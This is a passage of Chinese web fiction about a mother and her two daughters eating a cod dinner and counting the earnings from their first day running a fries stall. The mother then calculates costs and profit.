“你们都是好孩子,为什么不一起去呢?回来记得洗洗手,我们可以开饭了。”
西芙拉抱盆,菲奥娜举瓢,挨挨挤挤出门抢活干。
尤兰达将三份香煎鳕鱼送上餐桌,借着锅里剩下的油脂,煎了几片白面包。
有主食有配菜,这一顿晚饭就这么糊弄过去了。
当然,糊弄的说法仅对尤兰达而言。
对西芙拉、菲奥娜两个土著来说,鳕鱼和面包的搭配一如既往,并无稀奇。
真正让这顿晚饭与众不同的,是关于鳕鱼的独特做法。
因这一点点独特,令人叫苦不迭的斋戒日,似乎都变得值得期待了。
夕阳彻底转为橘红色时,家家户户升起炊烟,母女三人终于在餐桌边落座。
照例祷告,然后大快朵颐。
“妈(嚼嚼嚼),你做的鳕鱼是我吃过最好吃的鳕鱼(嚼嚼嚼)。”
菲奥娜又吃美了,脸颊鼓鼓囊囊,话都说不利索,非要抢着发表感言。
实在是香煎鳕鱼的味道远超它的卖相,也远超她对鳕鱼的认识。
鱼皮够酥,鱼肉够嫩,刀叉一拨,雪白肌理层层绽开,汁水微微渗出。
越吃,她越想不通,家里的厨娘到底用了什么巫术,才能让这么美味的鳕鱼做出难以下咽的口感。
西芙拉惦记着数钱,本想加快进食速度,叉子刚戳进鱼肉,就被白嫩的模样勾住了目光。
真漂亮啊,怎么会有看着就好吃的鳕鱼呢?
尤兰达也小小惊讶了一会。
好新鲜的鳕鱼,肉质紧实弹牙,和她从冻货市场批发的食材,完全不在一个档次。
夕阳的余晖收尽,暮色笼罩小院。
母女三人风卷残云般扫光了盘中的鳕鱼和面包,连盘子底部的酱汁都用面包片擦得干干净净。
总要磨蹭一会儿的洗碗环节,今天被默契地抛在了脑后。
“快快快——”
菲奥娜第一个跳起来,清空桌面。
“到底赚了多少啊,它们可真重。”
西芙拉逞强,拒绝尤兰达的帮助,一手抱钱罐子,一手托住羊皮包,挨到桌边时,额角已经崩出青筋。
钱罐子与羊皮包并排砸上桌面,整张桌子猛地一震,连带着烛火都跟着晃了晃。
菲奥娜数了一下午的钱,看到铜币有点生理性反胃,退到墙边的扶手椅坐下,一副“你们数吧,我看着就好”的模样。
西芙拉迫不及待地伸出手,搭在了钱罐的边缘,跃跃欲试。
尤兰达望了望两人,吞下了称重数钱的提议,也没告诉她们家里有数钱专用的分拣盘。
“十个铜币为一组,一排只放十组。数清楚,别漏了。”尤兰达宣布。
话音落下,起居室里只剩铜币“哗啦啦”的碰撞,和西芙拉抑扬顿挫的计数。
“1、2、3……”
菲奥娜远远坐着,信誓旦旦地说“我就看看”。
看着看着,她的眉头皱了起来,嘴唇翕动,无声地跟着西芙拉的节奏数。
直到某一刻,她终于忍不住了,“噌”地起身,撸起袖子凑了过去。
“你数太慢了,我来帮你摆!”
“我不用帮——你别抢我的铜币!”
两人闹了一会,才重新开始分拣计数。
烛火摇曳,映着两个女孩专注又兴奋的侧脸,和桌上排到第四排的铜币堆。
数钱数上瘾,肾上腺素飙升,小约翰来清粪,菲奥娜都不想去开门,西芙拉催了她几声才不舍离开。
等菲奥娜再回来,羊皮包软塌塌丢在椅子上,广口钱罐里空荡荡。
“数完了?今天赚了多少?”她急忙追问。
西芙拉烦躁摆手,“别说话,正在算呢,你吵到我——”
“不用算了,1015,”尤兰达报出数字,两人抬头看来时,她补充:“铜币。”
加上三枚银币,按照当下的记账方式,今天营业额为13银15铜。
和她估算的差不太多。
西芙拉和菲奥娜齐齐倒吸气。
13银币15铜币……一天赚到的?
惊愕过后,两人狂喜,随后震惊,“妈妈,你是怎么算出来的?”
她们抠破了脑袋,也没把那堆铜币算清楚,没等想出办法,尤兰达直接报答案,太快了!
对上女孩们的星星眼,尤兰达让她们稍安勿躁,抽出莎草纸。
算完营业额,该算算成本和利润了,做完一天生意,总该知道是赚是亏,赚多少亏多少。
“去掉摊位费,以及土豆、番茄、小麦粉、芥末、猪油、木柴等等的市价费用,四舍五入按照390铜币的成本算,今天的净利润是……925铜币!”
酱汁并非一天用完,猪油并非只用一次,木柴和小麦粉的用量无法更精准,土豆、香草自家的,市场价偶有浮动。所有不确定的消耗,尤兰达全部取整数往多了算。
尽管如此,利润率也超60%,实属暴利。
再细算,对比薯条和薯饼的成本和毛利,虽然薯条单价更低,却是毛利更高、更赚钱。
这一点,也和尤兰达的预估差不太多。
要不人家金拱门能成为快餐巨头呢,薯条大有可赚。
第一天营业,尤兰达选择谨慎行事,生意却出乎意料的火爆,甩开同行们一大截。
参考今天的摆摊经验,第二天多备些薯条,换个大锅提前初炸,加快出餐速度,卖出的份量也会更多。
尤兰达念叨着如何改善,西芙拉和菲奥娜面面相觑,眼冒金星。
不是赚到钱就好了吗?
什么毛利、什么成本、什么效率,好难啊,听不懂。
“……是很赚的意思?”她们问。
尤兰达重重点头,“很赚。”
第一天出摊,大获全胜!